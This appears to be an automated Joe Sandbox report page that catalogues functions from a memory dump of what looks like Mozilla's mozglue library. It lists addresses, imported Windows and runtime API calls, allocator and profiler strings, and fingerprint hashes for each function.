Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction ID: 3dcb60dd157ef0e3dbc2a2d1f6c18e361f17a726a44e9985278faabe34b19c1f
Opcode Fuzzy Hash: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction Fuzzy Hash: B2F10370901319DFDB24CF25CD98B9ABBB4EF46308F1442A9D809B3681DB31AE85CF95

Function 6C5CD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5CD904
LeaveCriticalSection.KERNEL32(?), ref: 6C5CD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5CD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5CE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE315
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE37C
GetSystemInfo.KERNEL32(?), ref: 6C5CE3C7
__Init_thread_footer.LIBCMT ref: 6C5CE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5CE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5CE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5CE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5CE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5CE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E768,00001388), ref: 6C5CE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5CE52E
ReleaseSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE54F

Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(?), ref: 6C5BD999
Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BDA13

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CE560, 6C5CE58A, 6C5CE5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5CE6DD
<jemalloc>, xrefs: 6C5CE61C, 6C5CE6CC
Compile-time page size does not divide the runtime one., xrefs: 6C5CE621
MOZ_CRASH(), xrefs: 6C5CE62B
MALLOC_OPTIONS, xrefs: 6C5CE3FF

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction ID: f7702a4bc3e401984d7a66c59003df251c6b88db913acd82e4e2aca08cf786b8
Opcode Fuzzy Hash: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction Fuzzy Hash: 9D92A9B1B056018BD714CF69C881715BBE1FF86328F29866DE869CB791D375E841CBC2

Function 6C60C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C60C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E472

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c7d1c6d4816fe76778441dcd124f1e2505c097f0f07b9a79c0e974577a1b578
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8F33CD71E0021A8FCB08CFA8C9806EDBBF2FF49314F288269D955BB755D730A945CB94

Function 6C5CED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5CEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5CEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5D1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5D1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D1A3E

Strings

~qZl, xrefs: 6C5CED13
~qZl, xrefs: 6C5CED10

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qZl$~qZl
API String ID: 3693777188-2831360158
Opcode ID: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction ID: cea532c1ebe75ec635563a2b362f4b4f0176a330ab7091d48d541b744f5a5c13
Opcode Fuzzy Hash: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction Fuzzy Hash: E8B31871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB745D730AD86CF94

Function 6C5BFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4
<jemalloc>, xrefs: 6C5C0D62, 6C5C0D76, 6C5C0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5C0D67, 6C5C0D7B, 6C5C0DAC

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction ID: bd5e4adfcc1269b3fa71f80519889a20ebebb11ddeefda2e8d7b17063dc2815e
Opcode Fuzzy Hash: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction Fuzzy Hash: 32C2AB71B057418FD714CF69C880716BBE1AFC5328F28CA6DE4AA8B795D775E801CB82

Function 6C60E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C60E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C60F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C610E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C610E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C610EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C610ED4

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction ID: c6eabfe3f412d1d2eaf72fe6ce72a59487ac4f0c926c20f57711cde906a31c0d
Opcode Fuzzy Hash: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction Fuzzy Hash: C4639D71E0425A8FCB08CFACC9905DDF7B2FF89314F298229D855AB745D730A946CB94

Function 6C5E3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C607770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>^l,?,?,?,6C5E3E7D,?,?), ref: 6C60777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5E3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E3F5C
VerSetConditionMask.NTDLL ref: 6C5E3F8D
VerSetConditionMask.NTDLL ref: 6C5E3F99
VerSetConditionMask.NTDLL ref: 6C5E3FA0
VerSetConditionMask.NTDLL ref: 6C5E3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E3FB4

Strings

nvinit.dll, xrefs: 6C5E4479
C>^l, xrefs: 6C5E3E93
nvd3d9wrap.dll, xrefs: 6C5E4466

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>^l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-824577501
Opcode ID: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction ID: 830f487e22a20854b4bdcf881081af94df7f89769472e088442cdca2fcdb7ae2
Opcode Fuzzy Hash: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction Fuzzy Hash: BF522271614B488FD711DF74CCD0AAB7BE9AF84208F44492DD5A29BB82DB74F909CB60

Function 6C5BFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4, 6C5C1A10
MOZ_CRASH(), xrefs: 6C5C0CA7

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction ID: b7722316f7f8b11ac73ac9901a6f709d107469c9796cf0c6c0e83585abe21524
Opcode Fuzzy Hash: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction Fuzzy Hash: 56B2BC717057418FD714CF69C990716BBE1BF85328F28CA6DE86A8B795C774E840CB82

Function 6C5F5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C5F6131
schema, xrefs: 6C5F606D
name, xrefs: 6C5F5E79, 6C5F5E8F
expected a Count entry, xrefs: 6C5F5AC3
expected a Time entry, xrefs: 6C5F5CB6
ProfileBuffer parse error: %s, xrefs: 6C5F5AC8, 6C5F5CBB

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction ID: 1537a568d05ee02c999aa3b86a9febbb8827f14098fd70b351eb7e192b891d6f
Opcode Fuzzy Hash: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction Fuzzy Hash: 90923C716083418FD728CF18C89075ABBE1BFC5308F55891DE5AA9B751DB30E94ACF92

Function 6C5B7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5B7885
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5B78A5
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5B78AD
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5B78CD
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5B795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5B79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5B7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B7C82
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5B7DAF

Strings

Dbl, xrefs: 6C5B789F
Dbl, xrefs: 6C5B787F

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dbl$Dbl
API String ID: 759993129-2483856670
Opcode ID: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction ID: 4a34f0f1089bc92d6387a8b82554bcb8a06f354d0b2b214a5fef26b25937d13d
Opcode Fuzzy Hash: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction Fuzzy Hash: 3E029230A012198FDB54CF29C994799BBB5FF88358F2582AAD809B7710D734BE90CF94

Function 6C5F2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5F2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5F378D
set , xrefs: 6C5F36EC
get , xrefs: 6C5F3205

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction ID: 1dd297eb1b2b79828b1d152e5bb2653aefe833080a7bc1f2fb80730835ded342
Opcode Fuzzy Hash: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction Fuzzy Hash: 62324EB02083818FD769CF24C8906AEB7E2AFC9218F548C1DE5A987751DB30D94ACF57

Function 6C5E7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C5E7E88
vbl, xrefs: 6C5E8207
data, xrefs: 6C5E8280, 6C5E83E1
name, xrefs: 6C5E7ECF, 6C5E8335
schema, xrefs: 6C5E81E3, 6C5E8311

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vbl
API String ID: 3412268980-3299618421
Opcode ID: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction ID: a1b437141be5dac922db1edcd1149e5d75ca01fef05616cee452cba8cc63c2c9
Opcode Fuzzy Hash: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction Fuzzy Hash: 4FE19FB1A043408FC710CF69885165BFBE9BFD9314F14492DE899E7B80DBB5DC098B92

Function 6C605FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C606009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C606024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QZl,?), ref: 6C606046
OutputDebugStringA.KERNEL32(?,QZl,?), ref: 6C606061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C606069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C62148E), ref: 6C606091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QZl,00000000,?), ref: 6C6060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6060C4

Strings

QZl, xrefs: 6C605FFC, 6C606042, 6C606045, 6C6060B3

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QZl
API String ID: 3835517998-1347650013
Opcode ID: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction ID: f15666f5a24b7f9f7825f178081177139a7e0a32dddd7f0d94e971af1c7e5746
Opcode Fuzzy Hash: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction Fuzzy Hash: 2F21BA71A002089FDF205F65DC4969E7BB8FF85314F008428E85B97640CB75A959CFD9

Function 6C5C5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5C7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C7BCD, 6C5C7C1F, 6C5C7C34, 6C5C80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C72E3
ew`l, xrefs: 6C5C5E9C, 6C5C5F22, 6C5C61ED
MOZ_CRASH(), xrefs: 6C5C7BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C72F8

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew`l
API String ID: 2613674957-3284534115
Opcode ID: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction ID: 93e0d18dc5b735f1175636cdc2c193fcc3228e1f689290c03a4c01b83a1b6579
Opcode Fuzzy Hash: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction Fuzzy Hash: F2337D717057018FC304CF69C990625BBE2FF85368F29C6ADE9698BBA5D731E841CB42

